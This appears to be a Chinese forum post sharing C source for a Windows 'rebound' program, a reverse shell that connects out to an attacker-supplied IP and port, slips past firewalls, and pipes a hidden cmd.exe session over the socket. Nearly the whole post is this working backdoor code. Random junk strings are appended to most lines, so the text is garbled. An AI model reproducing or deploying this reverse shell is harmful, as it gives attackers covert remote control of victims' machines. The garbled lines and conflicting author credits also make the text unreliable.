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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]k " j  
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/* ============================== _Cj u C`7  
Rebound port in Windows NT AQQeLdTq  
By wind,2006/7 4}gqtw:  
===============================*/ q.g<gu]  
#include L6J=m#Ld  
#include s+h`,gg9  
*'1qA0Xc  
#pragma comment(lib,"wsock32.lib")  Fp'k{  
pg [F{T<  
void OutputShell(); BXnSkT7  
SOCKET sClient; 0[H'l",~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ky|dRbK,  
jDqe)uVvtV  
void main(int argc,char **argv) Vf`1'GY  
{ "U4Sn'&h@  
WSADATA stWsaData; /RIvUC1  
int nRet; cAC]%~orx  
SOCKADDR_IN stSaiClient,stSaiServer; Z)~.OqRw]  
&C`t(e  
if(argc != 3) AQDT6E:  
{ wm=!tx\`k  
printf("Useage:\n\rRebound DestIP DestPort\n"); *"d"  
return; y.=ur,Nd  
} _qR1M):yJ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); #9F=+[L  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N~=p+Ow[H  
{AoH  
stSaiClient.sin_family = AF_INET; ;*{y!pgb  
stSaiClient.sin_port = htons(0); f-E]!\Pg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :-fCyF)EI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U^-:qT;CX  
{ BlF>TI%2  
printf("Bind Socket Failed!\n"); 3<88j&9  
return; KnaQhZ  
} }*4XwUM e  
/EZF5_`bT  
stSaiServer.sin_family = AF_INET; MN}@EQvW==  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &}_E~jKK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }S\\"SBC  
}Dc0 Y  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sk5h_[tK  
{ m-xSF]q=<  
printf("Connect Error!"); PO%Z.ol9  
return; ,edX;`#  
} rwWs\~.H  
OutputShell(); :aS8%m  
} SzR7:U  
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void OutputShell() -NHA{?6r  
{ swss#?.se  
char szBuff[1024]; <5%x3e"7u  
SECURITY_ATTRIBUTES stSecurityAttributes; jQxv` H  
OSVERSIONINFO stOsversionInfo; sgW*0o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $b,o3eC  
STARTUPINFO stStartupInfo; dMK| l   
char *szShell; l}:&}  
PROCESS_INFORMATION stProcessInformation; TRW{` b[  
unsigned long lBytesRead; oKLL~X>!U  
}1 = V`N(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oJE~dY$Q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5V;BimI  
stSecurityAttributes.lpSecurityDescriptor = 0; )kfj+/  
stSecurityAttributes.bInheritHandle = TRUE; NokAP|<y  
zy"wQPEE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kq&xH;9=.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q+<X*yC  
,_ }  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3)b[C&`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "xe %  IS  
stStartupInfo.wShowWindow = SW_HIDE; K;^$n>Y  
stStartupInfo.hStdInput = hReadPipe; "#anL8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D/[(}o(  
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GetVersionEx(&stOsversionInfo); xfZ.  
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switch(stOsversionInfo.dwPlatformId) yAz`n[  
{ 96x$Xl;  
case 1: | #Z+s-  
szShell = "command.com"; "Qj;pqR  
break; r%QTUuRXC3  
default: =|_:H$94  
szShell = "cmd.exe"; -T3 z@k  
break; =aR'S\<  
} BV_rk^}Ur  
~5g2~.&*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ' P5t tI#|  
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send(sClient,szMsg,77,0); {=};<;_F  
while(1) Qk2^p^ T6  
{ +ExXhT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }QrBN:a$(  
if(lBytesRead) mux_S2x9m\  
{ nW#UBtZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *-0tj~)>  
send(sClient,szBuff,lBytesRead,0); D_mdX9-~  
} =pSuyM'  
else Zt;3HY=y  
{ B'<k*9=Nv8  
lBytesRead=recv(sClient,szBuff,1024,0); [\+"<;m$  
if(lBytesRead<=0) break; iG*@(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i8t%v  
} mNhVLB  
}  &ig6\&1  
9+><:(,  
return; r:.3P  
}
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